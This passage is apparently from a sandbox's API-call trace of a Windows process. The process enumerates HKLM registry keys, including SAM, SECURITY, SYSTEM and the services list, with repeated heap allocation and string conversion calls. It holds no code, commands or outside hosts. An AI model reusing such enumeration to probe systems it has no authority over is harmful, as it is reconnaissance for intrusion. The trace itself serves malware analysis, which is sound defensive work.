[0259.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.943] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.943] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.943] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0259.944] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.945] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.945] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.945] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.945] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.945] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0259.945] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.945] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.946] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.946] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.946] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.946] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.946] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.946] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.947] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.947] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.947] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.947] RegCloseKey (hKey=0xc4) returned 0x0 [0259.947] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0259.947] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.947] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.948] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.948] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.948] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.948] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.948] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.948] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.949] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.949] RegCloseKey (hKey=0x150) returned 0x0 [0259.949] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.949] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0259.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f16e8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0259.949] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.949] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR 